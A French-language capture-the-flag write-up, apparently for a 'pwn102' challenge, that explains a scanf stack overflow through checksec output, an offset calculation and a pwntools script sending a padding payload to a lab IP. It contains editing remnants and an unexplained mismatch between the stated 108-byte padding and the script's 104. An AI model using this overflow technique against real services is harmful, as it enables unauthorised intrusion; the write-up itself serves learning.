Skip to main content

L'overflow __scanf

On peut commencer par voir les protections associées à notre binaire :

┌──(arthur㉿LAPTOP-KSNUF8N7)-[~/case]
└─$ checksec --file=pwn102-1644307392479.pwn102
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   73 Symbols        No    0               1               pwn102-1644307392479.pwn102

"No canary" indique qu'il est vraissemblablement possible d'overflow, mais "NX enabled" signifie que nous ne pourrons pas exécuter de shellcode dans notre overflow. De plus, "PIE enabled" signifie que les adresses changeront à chaque exécution.

OnEn décompiledécompilant notre binaire dans Binary Ninja, et on cherches'apperçoit que la fonction __isoc99_scanf est utilisée. C'est une bonne nouvelle pour nous car elle est vulénrable aux overflows.
Or nous savons que la pile se construit telle que la donnée ingérée par scanf remontera vers le haut de la pile :

 _________
|   TOP   |
|   ...   |
|  var_1  |
|   ...   |  ^
|  var_2  |  |
|  scanf  |  |
|   ...   |
|_________|

Ainsi, si scanf stocke la donnée dans var_2, comme aucune limite de taille n'est vérifiée, il est possible d'écraser la valeur de var_1.

Nous cherchons donc les adresses qui nous intéressent :

On en déduit la différence : 0x78 - 0xc = 0x6c

on sait donc que pour écrire dans la variable 0xc, il nous faut 0x6c bytes de padding (soit 108 bytes) puis la valeur souhaitée.

En connaissant la taille de la variable (dans l'exemple, int_32_t implique 4 bytes), on en déduit notre payload en ajoutant des bytes nulls devant notre valeur si nécessaire.

On n'oublie pas de s'accorder sur l'endianess et cela nous donne un payload : b"\x41" * 108 + b'\xd3\xc0\x00\x00'

Si on compile notre script python :

from pwn import *

io = remote('10.130.172.71', 9002)

print(io.recvregex(b'right?').decode('utf-8'))

payload = b'\x41'*104 + b'\xd3\xc0\x00\x00' + b'\x33\xff\xc0\x00'
io.sendline(payload)

print(io.readline().decode('utf-8'))

io.interactive()